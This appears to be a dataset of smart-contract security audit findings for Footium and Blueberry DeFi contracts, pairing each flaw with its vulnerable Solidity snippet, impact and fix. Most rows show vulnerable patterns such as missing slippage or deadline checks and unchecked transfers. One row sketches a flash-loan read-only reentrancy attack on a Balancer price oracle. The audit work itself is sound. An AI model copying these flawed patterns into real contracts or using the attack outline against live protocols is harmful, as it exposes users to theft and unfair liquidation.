name
stringlengths 5
231
| severity
stringclasses 3
values | description
stringlengths 107
68.2k
| recommendation
stringlengths 12
8.75k
⌀ | impact
stringlengths 3
11.2k
⌀ | function
stringlengths 15
64.6k
|
---|---|---|---|---|---|
Users might lose funds as `claimERC20Prize()` doesn't revert for no-revert-on-transfer tokens | medium | Users can call `claimERC20Prize()` without actually receiving tokens if a no-revert-on-failure token is used, causing a portion of their claimable tokens to become unclaimable.\\nIn the `FootiumPrizeDistributor` contract, whitelisted users can call `claimERC20Prize()` to claim ERC20 tokens. The function adds the amount of tokens claimed to the user's total claim amount, and then transfers the tokens to the user:\\nFootiumPrizeDistributor.sol#L128-L131\\n```\\nif (value > 0) {\\n totalERC20Claimed[_token][_to] += value;\\n _token.transfer(_to, value);\\n}\\n```\\n\\nAs the the return value from `transfer()` is not checked, `claimERC20Prize()` does not revert even when the transfer of tokens to the user fails.\\nThis could potentially cause users to lose assets when:\\n`_token` is a no-revert-on-failure token.\\nThe user calls `claimERC20Prize()` with `value` higher than the contract's token balance.\\nAs the contract has an insufficient balance, `transfer()` will revert and the user receives no tokens. However, as `claimERC20Prize()` succeeds, `totalERC20Claimed` is permanently increased for the user, thus the user cannot claim these tokens again. | Use `safeTransfer()` from Openzeppelin's SafeERC20 to transfer ERC20 tokens. Note that `transferERC20()` in `FootiumEscrow.sol` also uses `transfer()` and is susceptible to the same vulnerability. | Users can call `claimERC20Prize()` without receiving the token amount specified. These tokens become permanently unclaimable for the user, leading to a loss of funds. | ```\\nif (value > 0) {\\n totalERC20Claimed[_token][_to] += value;\\n _token.transfer(_to, value);\\n}\\n```\\n |
Users can bypass Player royalties on EIP2981 compatible markets by selling clubs as a whole | medium | Players have a royalty built in but clubs do not. This allows bulk sale of players via clubs to bypass the fee when selling players.\\nFootiumPlayer.sol#L16-L23\\n```\\ncontract FootiumPlayer is\\n ERC721Upgradeable,\\n AccessControlUpgradeable,\\n ERC2981Upgradeable,\\n PausableUpgradeable,\\n ReentrancyGuardUpgradeable,\\n OwnableUpgradeable\\n{\\n```\\n\\nFootiumPlayer implements the EIP2981 standard which creates fees when buy/selling the players.\\nFootiumClub.sol#L15-L21\\n```\\ncontract FootiumClub is\\n ERC721Upgradeable,\\n AccessControlUpgradeable,\\n PausableUpgradeable,\\n ReentrancyGuardUpgradeable,\\n OwnableUpgradeable\\n{\\n```\\n\\nFootiumClub on the other hand never implements this standard. This allows users to sell players by selling their club to avoid any kind of fee on player sales. | Implement EIP2981 on clubs as well | Users can bypass fees on player sales by selling club instead | ```\\ncontract FootiumPlayer is\\n ERC721Upgradeable,\\n AccessControlUpgradeable,\\n ERC2981Upgradeable,\\n PausableUpgradeable,\\n ReentrancyGuardUpgradeable,\\n OwnableUpgradeable\\n{\\n```\\n |
Merkle leaf values for _clubDivsMerkleRoot are 64 bytes before hashing which can lead to merkle tree collisions | medium | FootiumAcademy hashes 64 bytes when calculating leaf allowing it to collide with the internal nodes of the merkle tree.\\nMerkleProofUpgradeable.sol puts the following warning at the beginning of the contract:\\n```\\n * WARNING: You should avoid using leaf values that are 64 bytes long prior to\\n * hashing, or use a hash function other than keccak256 for hashing leaves.\\n * This is because the concatenation of a sorted pair of internal nodes in\\n * the merkle tree could be reinterpreted as a leaf value.\\n```\\n\\nFootiumAcademy.sol#L235-L240\\n```\\n if (\\n !MerkleProofUpgradeable.verify(\\n divisionProof,\\n _clubDivsMerkleRoot,\\n keccak256(abi.encodePacked(clubId, divisionTier)) <- @audit-issue 64 bytes before hashing allows collisions with internal nodes\\n )\\n```\\n\\nThis is problematic because FootiumAcademy uses clubId and divisionTier as the base of the leaf, which are both uint256 (32 bytes each for 64 bytes total). This allows collision between leaves and internal nodes. These collisions could allow users to mint to divisions that otherwise would be impossible. | Use a combination of variables that doesn't sum to 64 bytes | Users can abuse merkle tree collisions to mint in non-existent divisions and bypass minting fees | ```\\n * WARNING: You should avoid using leaf values that are 64 bytes long prior to\\n * hashing, or use a hash function other than keccak256 for hashing leaves.\\n * This is because the concatenation of a sorted pair of internal nodes in\\n * the merkle tree could be reinterpreted as a leaf value.\\n```\\n |
AuraSpell#openPositionFarm uses incorrect join type for balancer | high | The JoinPoolRequest uses "" for userData meaning that it will decode into 0. This is problematic because join requests of type 0 are "init" type joins and will revert for pools that are already initialized.\\n```\\nenum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }\\n```\\n\\nWe see above that enum JoinKind is INIT for 0 values.\\n```\\n return _joinExactTokensInForBPTOut(balances, normalizedWeights, userData);\\n } else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) {\\n return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData);\\n } else {\\n _revert(Errors.UNHANDLED_JOIN_KIND);\\n }\\n```\\n\\nHere user data is decoded into join type and since it is "" it will decode to type 0 which will result in a revert. | Uses JoinKind = 1 for user data | Users will be unable to open any farm position on AuraSpell | ```\\nenum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }\\n```\\n |
Users are forced to swap all reward tokens with no slippage protection | high | AuraSpell forces users to swap their reward tokens to debt token but doesn't allow them to specify any slippage values.\\nAuraSpell.sol#L193-L203\\n```\\n for (uint256 i = 0; i < rewardTokens.length; i++) {\\n uint256 rewards = _doCutRewardsFee(rewardTokens[i]);\\n _ensureApprove(rewardTokens[i], address(swapRouter), rewards);\\n swapRouter.swapExactTokensForTokens(\\n rewards,\\n 0,\\n swapPath[i],\\n address(this),\\n type(uint256).max\\n );\\n }\\n```\\n\\nAbove all reward tokens are swapped and always use 0 for min out meaning that deposits will be sandwiched and stolen. | Allow user to specify slippage parameters for all reward tokens | All reward tokens can be sandwiched and stolen | ```\\n for (uint256 i = 0; i < rewardTokens.length; i++) {\\n uint256 rewards = _doCutRewardsFee(rewardTokens[i]);\\n _ensureApprove(rewardTokens[i], address(swapRouter), rewards);\\n swapRouter.swapExactTokensForTokens(\\n rewards,\\n 0,\\n swapPath[i],\\n address(this),\\n type(uint256).max\\n );\\n }\\n```\\n |
ConvexSpell#closePositionFarm removes liquidity without any slippage protection | high | ConvexSpell#closePositionFarm removes liquidity without any slippage protection allowing withdraws to be sandwiched and stolen. Curve liquidity has historically been strong but for smaller pairs their liquidity is getting low enough that it can be manipulated via flashloans.\\nConvexSpell.sol#L204-L208\\n```\\n ICurvePool(pool).remove_liquidity_one_coin(\\n amountPosRemove,\\n int128(tokenIndex),\\n 0\\n );\\n```\\n\\nLiquidity is removed as a single token which makes it vulnerable to sandwich attacks but no slippage protection is implemented. The same issue applies to CurveSpell. | Issue ConvexSpell#closePositionFarm removes liquidity without any slippage protection\\nAllow user to specify min out | User withdrawals can be sandwiched | ```\\n ICurvePool(pool).remove_liquidity_one_coin(\\n amountPosRemove,\\n int128(tokenIndex),\\n 0\\n );\\n```\\n |
WAuraPools will irreversibly break if reward tokens are added to pool after deposit | high | WAuraPools will irreversibly break if reward tokens are added to pool after deposit due to an OOB error on accExtPerShare.\\nWAuraPools.sol#L166-L189\\n```\\n uint extraRewardsCount = IAuraRewarder(crvRewarder)\\n .extraRewardsLength(); <- @audit-issue rewardTokenCount pulled fresh\\n tokens = new address[](extraRewardsCount + 1);\\n rewards = new uint256[](extraRewardsCount + 1);\\n\\n tokens[0] = IAuraRewarder(crvRewarder).rewardToken();\\n rewards[0] = _getPendingReward(\\n stCrvPerShare,\\n crvRewarder,\\n amount,\\n lpDecimals\\n );\\n\\n for (uint i = 0; i < extraRewardsCount; i++) {\\n address rewarder = IAuraRewarder(crvRewarder).extraRewards(i);\\n\\n @audit-issue attempts to pull from array which will be too small if tokens are added\\n uint256 stRewardPerShare = accExtPerShare[tokenId][i];\\n tokens[i + 1] = IAuraRewarder(rewarder).rewardToken();\\n rewards[i + 1] = _getPendingReward(\\n stRewardPerShare,\\n rewarder,\\n amount,\\n lpDecimals\\n );\\n }\\n```\\n\\naccExtPerShare stores the current rewardPerToken when the position is first created. It stores it as an array and only stores values for reward tokens that have been added prior to minting. This creates an issue if a reward token is added because now it will attempt to pull a value for an index that doesn't exist and throw an OOB error.\\nThis is problematic because pendingRewards is called every single transaction via the isLiquidatable subcall in BlueBerryBank#execute. | Use a mapping rather than an array to store values | WAuraPools will irreversibly break if reward tokens are added to pool after | ```\\n uint extraRewardsCount = IAuraRewarder(crvRewarder)\\n .extraRewardsLength(); <- @audit-issue rewardTokenCount pulled fresh\\n tokens = new address[](extraRewardsCount + 1);\\n rewards = new uint256[](extraRewardsCount + 1);\\n\\n tokens[0] = IAuraRewarder(crvRewarder).rewardToken();\\n rewards[0] = _getPendingReward(\\n stCrvPerShare,\\n crvRewarder,\\n amount,\\n lpDecimals\\n );\\n\\n for (uint i = 0; i < extraRewardsCount; i++) {\\n address rewarder = IAuraRewarder(crvRewarder).extraRewards(i);\\n\\n @audit-issue attempts to pull from array which will be too small if tokens are added\\n uint256 stRewardPerShare = accExtPerShare[tokenId][i];\\n tokens[i + 1] = IAuraRewarder(rewarder).rewardToken();\\n rewards[i + 1] = _getPendingReward(\\n stRewardPerShare,\\n rewarder,\\n amount,\\n lpDecimals\\n );\\n }\\n```\\n |
UserData for balancer pool exits is malformed and will permanently trap users | high | UserData for balancer pool exits is malformed and will result in all withdrawal attempts failing, trapping the user permanently.\\nAuraSpell.sol#L184-L189\\n```\\nwAuraPools.getVault(lpToken).exitPool(\\n IBalancerPool(lpToken).getPoolId(),\\n address(this),\\n address(this),\\n IBalancerVault.ExitPoolRequest(tokens, minAmountsOut, "", false)\\n);\\n```\\n\\nWe see above that UserData is encoded as "". This is problematic as it doesn't contain the proper data for exiting the pool, causing all exit request to fail and trap the user permanently.\\n```\\nfunction exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) {\\n (, bptAmountIn, tokenIndex) = abi.decode(self, (WeightedPool.ExitKind, uint256, uint256));\\n}\\n```\\n\\nUserData is decoded into the data shown above when using ExitKind = 0. Since the exit uses "" as the user data this will be decoded as 0 a.k.a EXACT_BPT_IN_FOR_ONE_TOKEN_OUT. This is problematic because the token index and bptAmountIn should also be encoded in user data for this kind of exit. Since it isn't the exit call will always revert and the user will be permanently trapped. | Encode the necessary exit data in userData | Users will be permanently trapped, unable to withdraw | ```\\nwAuraPools.getVault(lpToken).exitPool(\\n IBalancerPool(lpToken).getPoolId(),\\n address(this),\\n address(this),\\n IBalancerVault.ExitPoolRequest(tokens, minAmountsOut, "", false)\\n);\\n```\\n |
UniswapV3 sqrtRatioLimit doesn't provide slippage protection and will result in partial swaps | high | The sqrtRatioLimit for UniV3 doesn't cause the swap to revert upon reaching that value. Instead it just cause the swap to partially fill. This is a known issue with using sqrtRatioLimit as can be seen here where the swap ends prematurely when it has been reached. This is problematic as this is meant to provide the user with slippage protection but doesn't.\\n```\\n if (amountToSwap > 0) {\\n SWAP_POOL = IUniswapV3Pool(vault.pool());\\n uint160 deltaSqrt = (param.sqrtRatioLimit *\\n uint160(param.sellSlippage)) / uint160(Constants.DENOMINATOR);\\n SWAP_POOL.swap(\\n address(this),\\n // if withdraw token is Token0, then swap token1 -> token0 (false)\\n !isTokenA,\\n amountToSwap.toInt256(),\\n isTokenA\\n ? param.sqrtRatioLimit + deltaSqrt\\n : param.sqrtRatioLimit - deltaSqrt, // slippaged price cap\\n abi.encode(address(this))\\n );\\n }\\n```\\n\\nsqrtRatioLimit is used as slippage protection for the user but is ineffective and depending on what tokens are being swapped, tokens may be left the in the contract which can be stolen by anyone. | Check the amount received from the swap and compare it against some user supplied minimum | Incorrect slippage application can result in partial swaps and loss of funds | ```\\n if (amountToSwap > 0) {\\n SWAP_POOL = IUniswapV3Pool(vault.pool());\\n uint160 deltaSqrt = (param.sqrtRatioLimit *\\n uint160(param.sellSlippage)) / uint160(Constants.DENOMINATOR);\\n SWAP_POOL.swap(\\n address(this),\\n // if withdraw token is Token0, then swap token1 -> token0 (false)\\n !isTokenA,\\n amountToSwap.toInt256(),\\n isTokenA\\n ? param.sqrtRatioLimit + deltaSqrt\\n : param.sqrtRatioLimit - deltaSqrt, // slippaged price cap\\n abi.encode(address(this))\\n );\\n }\\n```\\n |
Balance check for swapToken in ShortLongSpell#_deposit is incorrect and will result in nonfunctional contract | high | The balance checks on ShortLongSpell#_withdraw are incorrect and will make contract basically nonfunctional\\nswapToken is always vault.uToken. borrowToken is always required to be vault.uToken which means that swapToken == borrowToken. This means that the token borrowed is always required to be swapped.\\nShortLongSpell.sol#L83-L89\\n```\\n uint256 strTokenAmt = _doBorrow(param.borrowToken, param.borrowAmount);\\n\\n // 3. Swap borrowed token to strategy token\\n IERC20Upgradeable swapToken = ISoftVault(strategy.vault).uToken();\\n // swapData.fromAmount = strTokenAmt;\\n PSwapLib.megaSwap(augustusSwapper, tokenTransferProxy, swapData);\\n strTokenAmt = swapToken.balanceOf(address(this)) - strTokenAmt; <- @audit-issue will always revert on swap\\n```\\n\\nBecause swapToken == borrowToken if there is ever a swap then the swapToken balance will decrease. This causes L89 to always revert when a swap happens, making the contract completely non-functional | Remove check | ShortLongSpell is nonfunctional | ```\\n uint256 strTokenAmt = _doBorrow(param.borrowToken, param.borrowAmount);\\n\\n // 3. Swap borrowed token to strategy token\\n IERC20Upgradeable swapToken = ISoftVault(strategy.vault).uToken();\\n // swapData.fromAmount = strTokenAmt;\\n PSwapLib.megaSwap(augustusSwapper, tokenTransferProxy, swapData);\\n strTokenAmt = swapToken.balanceOf(address(this)) - strTokenAmt; <- @audit-issue will always revert on swap\\n```\\n |
ShortLongSpell#openPosition can cause user unexpected liquidation when increasing position size | high | When increasing a position, all collateral is sent to the user rather than being kept in the position. This can cause serious issues because this collateral keeps the user from being liquidated. It may unexpectedly leave the user on the brink of liquidation where a small change in price leads to their liquidation.\\nShortLongSpell.sol#L129-L141\\n```\\n {\\n IBank.Position memory pos = bank.getCurrentPositionInfo();\\n address posCollToken = pos.collToken;\\n uint256 collSize = pos.collateralSize;\\n address burnToken = address(ISoftVault(strategy.vault).uToken());\\n if (collSize > 0) {\\n if (posCollToken != address(wrapper))\\n revert Errors.INCORRECT_COLTOKEN(posCollToken);\\n bank.takeCollateral(collSize);\\n wrapper.burn(burnToken, collSize);\\n _doRefund(burnToken);\\n }\\n }\\n```\\n\\nIn the above lines we can see that all collateral is burned and the user is sent the underlying tokens. This is problematic as it sends all the collateral to the user, leaving the position collateralized by only the isolated collateral.\\nBest case the user's transaction reverts but worst case they will be liquidated almost immediately. | Don't burn the collateral | Unfair liquidation for users | ```\\n {\\n IBank.Position memory pos = bank.getCurrentPositionInfo();\\n address posCollToken = pos.collToken;\\n uint256 collSize = pos.collateralSize;\\n address burnToken = address(ISoftVault(strategy.vault).uToken());\\n if (collSize > 0) {\\n if (posCollToken != address(wrapper))\\n revert Errors.INCORRECT_COLTOKEN(posCollToken);\\n bank.takeCollateral(collSize);\\n wrapper.burn(burnToken, collSize);\\n _doRefund(burnToken);\\n }\\n }\\n```\\n |
Pending CRV rewards are not accounted for and can cause unfair liquidations | high | pendingRewards are factored into the health of a position so that the position collateral is fairly assessed. However WCurveGauge#pendingRewards doesn't return the proper reward tokens/amounts meaning that positions aren't valued correctly and users can be unfairly liquidated.\\nBlueBerryBank.sol#L408-L413\\n```\\n (address[] memory tokens, uint256[] memory rewards) = IERC20Wrapper(\\n pos.collToken\\n ).pendingRewards(pos.collId, pos.collateralSize);\\n for (uint256 i; i < tokens.length; i++) {\\n rewardsValue += oracle.getTokenValue(tokens[i], rewards[i]);\\n }\\n```\\n\\nWhen BlueBerryBank is valuing a position it also values the pending rewards since they also have value.\\nWCurveGauge.sol#L106-L114\\n```\\nfunction pendingRewards(\\n uint256 tokenId,\\n uint256 amount\\n)\\n public\\n view\\n override\\n returns (address[] memory tokens, uint256[] memory rewards)\\n{}\\n```\\n\\nAbove we see that WCurveGauge#pendingRewards returns empty arrays when called. This means that pending rewards are not factored in correctly and users can be liquidated when even when they should be safe. | Change WCurveGauge#pendingRewards to correctly return the pending rewards | User is liquidated when they shouldn't be | ```\\n (address[] memory tokens, uint256[] memory rewards) = IERC20Wrapper(\\n pos.collToken\\n ).pendingRewards(pos.collId, pos.collateralSize);\\n for (uint256 i; i < tokens.length; i++) {\\n rewardsValue += oracle.getTokenValue(tokens[i], rewards[i]);\\n }\\n```\\n |
`BalancerPairOracle` can be manipulated using read-only reentrancy | high | `BalancerPairOracle.getPrice` makes an external call to `BalancerVault.getPoolTokens` without checking the Balancer Vault's reentrancy guard. As a result, the oracle can be trivially manipulated to liquidate user positions prematurely.\\nIn February, the Balancer team disclosed a read-only reentrancy vulnerability in the Balancer Vault. The detailed disclosure can be found here. In short, all Balancer pools are susceptible to manipulation of their external queries, and all integrations must now take an extra step of precaution when consuming data. Via reentrancy, an attacker can force token balances and BPT supply to be out of sync, creating very inaccurate BPT prices.\\nSome protocols, such as Sentiment, remained unaware of this issue for a few months and were later hacked as a result.\\n`BalancerPairOracle.getPrice` makes a price calculation of the form `f(balances) / pool.totalSupply()`, so it is clearly vulnerable to synchronization issues between the two data points. A rough outline of the attack might look like this:\\n```\\nAttackerContract.flashLoan() ->\\n // Borrow lots of tokens and trigger a callback.\\n SomeProtocol.flashLoan() ->\\n AttackerContract.exploit()\\n\\nAttackerContract.exploit() ->\\n // Join a Balancer Pool using the borrowed tokens and send some ETH along with the call.\\n BalancerVault.joinPool() ->\\n // The Vault will return the excess ETH to the sender, which will reenter this contract.\\n // At this point in the execution, the BPT supply has been updated but the token balances have not.\\n AttackerContract.receive()\\n\\nAttackerContract.receive() ->\\n // Liquidate a position using the same Balancer Pool as collateral.\\n BlueBerryBank.liquidate() ->\\n // Call to the oracle to check the price.\\n BalancerPairOracle.getPrice() ->\\n // Query the token balances. At this point in the execution, these have not been updated (see above).\\n // So, the balances are still the same as before the start of the large pool join.\\n BalancerVaul.getPoolTokens()\\n\\n // Query the BPT supply. At this point in the execution, the supply has already been updated (see above).\\n // So, it includes the latest large pool join, and as such the BPT supply has grown by a large amount.\\n BalancerPool.getTotalSupply()\\n\\n // Now the price is computed using both balances and supply, and the result is much smaller than it should be.\\n price = f(balances) / pool.totalSupply()\\n\\n // The position is liquidated under false pretenses.\\n```\\n | The Balancer team recommends utilizing their official library to safeguard queries such as `Vault.getPoolTokens`. However, the library makes a state-modifying call to the Balancer Vault, so it is not suitable for `view` functions such as `BalancerPairOracle.getPrice`. There are then two options:\\nInvoke the library somewhere else. Perhaps insert a hook into critical system functions like `BlueBerryBank.liquidate`.\\nAdapt a slightly different read-only solution that checks the Balancer Vault's reentrancy guard without actually entering. | Users choosing Balancer pool positions (such as Aura vaults) as collateral can be prematurely liquidated due to unreliable price data. | ```\\nAttackerContract.flashLoan() ->\\n // Borrow lots of tokens and trigger a callback.\\n SomeProtocol.flashLoan() ->\\n AttackerContract.exploit()\\n\\nAttackerContract.exploit() ->\\n // Join a Balancer Pool using the borrowed tokens and send some ETH along with the call.\\n BalancerVault.joinPool() ->\\n // The Vault will return the excess ETH to the sender, which will reenter this contract.\\n // At this point in the execution, the BPT supply has been updated but the token balances have not.\\n AttackerContract.receive()\\n\\nAttackerContract.receive() ->\\n // Liquidate a position using the same Balancer Pool as collateral.\\n BlueBerryBank.liquidate() ->\\n // Call to the oracle to check the price.\\n BalancerPairOracle.getPrice() ->\\n // Query the token balances. At this point in the execution, these have not been updated (see above).\\n // So, the balances are still the same as before the start of the large pool join.\\n BalancerVaul.getPoolTokens()\\n\\n // Query the BPT supply. At this point in the execution, the supply has already been updated (see above).\\n // So, it includes the latest large pool join, and as such the BPT supply has grown by a large amount.\\n BalancerPool.getTotalSupply()\\n\\n // Now the price is computed using both balances and supply, and the result is much smaller than it should be.\\n price = f(balances) / pool.totalSupply()\\n\\n // The position is liquidated under false pretenses.\\n```\\n |
Deadline check is not effective, allowing outdated slippage and allow pending transaction to be unexpected executed | high | Deadline check is not effective, allowing outdated slippage and allow pending transaction to be unexpected executed\\nIn the current implementation in CurveSpell.sol\\n```\\n{\\n // 2. Swap rewards tokens to debt token\\n uint256 rewards = _doCutRewardsFee(CRV);\\n _ensureApprove(CRV, address(swapRouter), rewards);\\n swapRouter.swapExactTokensForTokens(\\n rewards,\\n 0,\\n swapPath,\\n address(this),\\n type(uint256).max\\n );\\n}\\n```\\n\\nthe deadline check is set to type(uint256).max, which means the deadline check is disabled!\\nIn IChiSpell. the swap is directedly call on the pool instead of the router\\n```\\nSWAP_POOL.swap(\\n address(this),\\n // if withdraw token is Token0, then swap token1 -> token0 (false)\\n !isTokenA,\\n amountToSwap.toInt256(),\\n isTokenA\\n ? param.sqrtRatioLimit + deltaSqrt\\n : param.sqrtRatioLimit - deltaSqrt, // slippaged price cap\\n abi.encode(address(this))\\n);\\n```\\n\\nand it has no deadline check for the transaction when swapping | We recommend the protocol use block.timstamp for swapping deadline for Uniswap V2 and swap with Unsiwap Router V3 instead of the pool directly! | AMMs provide their users with an option to limit the execution of their pending actions, such as swaps or adding and removing liquidity. The most common solution is to include a deadline timestamp as a parameter (for example see Uniswap V2 and Uniswap V3). If such an option is not present, users can unknowingly perform bad trades:\\nAlice wants to swap 100 tokens for 1 ETH and later sell the 1 ETH for 1000 DAI.\\nThe transaction is submitted to the mempool, however, Alice chose a transaction fee that is too low for miners to be interested in including her transaction in a block. The transaction stays pending in the mempool for extended periods, which could be hours, days, weeks, or even longer.\\nWhen the average gas fee dropped far enough for Alice's transaction to become interesting again for miners to include it, her swap will be executed. In the meantime, the price of ETH could have drastically changed. She will still get 1 ETH but the DAI value of that output might be significantly lower.\\nShe has unknowingly performed a bad trade due to the pending transaction she forgot about.\\nAn even worse way this issue can be maliciously exploited is through MEV:\\nThe swap transaction is still pending in the mempool. Average fees are still too high for miners to be interested in it.\\nThe price of tokens has gone up significantly since the transaction was signed, meaning Alice would receive a lot more ETH when the swap is executed. But that also means that her maximum slippage value (sqrtPriceLimitX96 and minOut in terms of the Spell contracts) is outdated and would allow for significant slippage.\\nA MEV bot detects the pending transaction. Since the outdated maximum slippage value now allows for high slippage, the bot sandwiches Alice, resulting in significant profit for the bot and significant loss for Alice. | ```\\n{\\n // 2. Swap rewards tokens to debt token\\n uint256 rewards = _doCutRewardsFee(CRV);\\n _ensureApprove(CRV, address(swapRouter), rewards);\\n swapRouter.swapExactTokensForTokens(\\n rewards,\\n 0,\\n swapPath,\\n address(this),\\n type(uint256).max\\n );\\n}\\n```\\n |
AuraSpell openPositionFarm does not join pool | medium | The function to open a position for the AuraSpell does not join the pool due to wrong conditional check.\\nThe function deposits collateral into the bank, borrow tokens, and attempts to join the pool:\\n```\\n function openPositionFarm(\\n OpenPosParam calldata param\\n )\\n external\\n existingStrategy(param.strategyId)\\n existingCollateral(param.strategyId, param.collToken)\\n {\\n // rest of code\\n // 1. Deposit isolated collaterals on Blueberry Money Market\\n _doLend(param.collToken, param.collAmount);\\n\\n // 2. Borrow specific amounts\\n uint256 borrowBalance = _doBorrow(\\n param.borrowToken,\\n param.borrowAmount\\n );\\n\\n // 3. Add liquidity on Balancer, get BPT\\n {\\n IBalancerVault vault = wAuraPools.getVault(lpToken);\\n _ensureApprove(param.borrowToken, address(vault), borrowBalance);\\n\\n (address[] memory tokens, uint256[] memory balances, ) = wAuraPools\\n .getPoolTokens(lpToken);\\n uint[] memory maxAmountsIn = new uint[](2);\\n maxAmountsIn[0] = IERC20(tokens[0]).balanceOf(address(this));\\n maxAmountsIn[1] = IERC20(tokens[1]).balanceOf(address(this));\\n\\n uint totalLPSupply = IBalancerPool(lpToken).totalSupply();\\n // compute in reverse order of how Balancer's `joinPool` computes tokenAmountIn\\n uint poolAmountFromA = (maxAmountsIn[0] * totalLPSupply) /\\n balances[0];\\n uint poolAmountFromB = (maxAmountsIn[1] * totalLPSupply) /\\n balances[1];\\n uint poolAmountOut = poolAmountFromA > poolAmountFromB\\n ? poolAmountFromB\\n : poolAmountFromA;\\n\\n bytes32 poolId = bytes32(param.farmingPoolId);\\n if (poolAmountOut > 0) {\\n vault.joinPool(\\n poolId,\\n address(this),\\n address(this),\\n IBalancerVault.JoinPoolRequest(\\n tokens,\\n maxAmountsIn,\\n "",\\n false\\n )\\n );\\n }\\n }\\n // rest of code\\n }\\n```\\n\\nThe function only borrowed one type of tokens from the bank so the contract only owns one type of token. As a result one of the `maxAmountsIn` value is 0. Either `poolAmountFromA` or `poolAmountFromB` is 0 as a result of computation. `poolAmountOut` is the minimal value of `poolAmountFromA` and `poolAmountFromB`, it is 0. The following check `if (poolAmountOut > 0)` will always fail and the pool will never be joined. | It is hard to tell the intent of the developer from this check. Maybe the issue is simply that `poolAmountOut` should be the sum or the max value out of `poolAmountFromA` and `poolAmountFromB` instead of the min. | The rest of the function proceeds correctly without reverting. Users will think they joined the pool and are earning reward while they are not earning anything. This is a loss of funds to the user. | ```\\n function openPositionFarm(\\n OpenPosParam calldata param\\n )\\n external\\n existingStrategy(param.strategyId)\\n existingCollateral(param.strategyId, param.collToken)\\n {\\n // rest of code\\n // 1. Deposit isolated collaterals on Blueberry Money Market\\n _doLend(param.collToken, param.collAmount);\\n\\n // 2. Borrow specific amounts\\n uint256 borrowBalance = _doBorrow(\\n param.borrowToken,\\n param.borrowAmount\\n );\\n\\n // 3. Add liquidity on Balancer, get BPT\\n {\\n IBalancerVault vault = wAuraPools.getVault(lpToken);\\n _ensureApprove(param.borrowToken, address(vault), borrowBalance);\\n\\n (address[] memory tokens, uint256[] memory balances, ) = wAuraPools\\n .getPoolTokens(lpToken);\\n uint[] memory maxAmountsIn = new uint[](2);\\n maxAmountsIn[0] = IERC20(tokens[0]).balanceOf(address(this));\\n maxAmountsIn[1] = IERC20(tokens[1]).balanceOf(address(this));\\n\\n uint totalLPSupply = IBalancerPool(lpToken).totalSupply();\\n // compute in reverse order of how Balancer's `joinPool` computes tokenAmountIn\\n uint poolAmountFromA = (maxAmountsIn[0] * totalLPSupply) /\\n balances[0];\\n uint poolAmountFromB = (maxAmountsIn[1] * totalLPSupply) /\\n balances[1];\\n uint poolAmountOut = poolAmountFromA > poolAmountFromB\\n ? poolAmountFromB\\n : poolAmountFromA;\\n\\n bytes32 poolId = bytes32(param.farmingPoolId);\\n if (poolAmountOut > 0) {\\n vault.joinPool(\\n poolId,\\n address(this),\\n address(this),\\n IBalancerVault.JoinPoolRequest(\\n tokens,\\n maxAmountsIn,\\n "",\\n false\\n )\\n );\\n }\\n }\\n // rest of code\\n }\\n```\\n |
The protocol will not be able to add liquidity on the curve with another token with a balance. | medium | The `CurveSpell` protocol only ensure approve curve pool to spend its borrow token. Hence, it will not be able to add liquidity on the curve with another token with a balance.\\nThe `openPositionFarm()` function enables user to open a leveraged position in a yield farming strategy by borrowing funds and using them to add liquidity to a Curve pool, while also taking into account certain risk management parameters such as maximum LTV and position size. When add liquidity on curve ,the protocol use the borrowed token and the collateral token, it checks the number of tokens in the pool and creates an array of the supplied token amounts to be passed to the add_liquidity function. Then the curve will transfer the tokens from the protocol and mint lp tokens to the protocol. However, the protocol only ensure approve curve pool to spend its borrow token. Hence, it will not be able to add liquidity on the curve with another token with a balance.\\n```\\n // 3. Add liquidity on curve\\n _ensureApprove(param.borrowToken, pool, borrowBalance);\\n if (tokens.length == 2) {\\n uint256[2] memory suppliedAmts;\\n for (uint256 i = 0; i < 2; i++) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n } else if (tokens.length == 3) {\\n uint256[3] memory suppliedAmts;\\n for (uint256 i = 0; i < 3; i++) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n } else if (tokens.length == 4) {\\n uint256[4] memory suppliedAmts;\\n for (uint256 i = 0; i < 4; i++) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n }\\n```\\n | Allow the curve pool to spend tokens that have a balance in the protocol to add liquidity | The protocol will not be able to add liquidity on the curve with another token with a balance. | ```\\n // 3. Add liquidity on curve\\n _ensureApprove(param.borrowToken, pool, borrowBalance);\\n if (tokens.length == 2) {\\n uint256[2] memory suppliedAmts;\\n for (uint256 i = 0; i < 2; i++) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n } else if (tokens.length == 3) {\\n uint256[3] memory suppliedAmts;\\n for (uint256 i = 0; i < 3; i++) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n } else if (tokens.length == 4) {\\n uint256[4] memory suppliedAmts;\\n for (uint256 i = 0; i < 4; i++) {\\n suppliedAmts[i] = IERC20Upgradeable(tokens[i]).balanceOf(\\n address(this)\\n );\\n }\\n ICurvePool(pool).add_liquidity(suppliedAmts, minLPMint);\\n }\\n```\\n |
